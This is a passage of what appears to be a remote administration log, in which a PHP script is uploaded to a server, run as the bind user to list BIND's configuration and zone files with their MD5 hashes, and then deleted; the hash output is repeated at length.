	addEntry($current);
}

2026-04-22 11:53:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp894324; rm /tmp/pkp894324'

2026-04-22 11:53:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:53:58: Establishing a connection
2026-04-22 11:53:58: 

PUT: /tmp/pkp776414

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:53:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp776414; rm /tmp/pkp776414'

2026-04-22 11:53:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
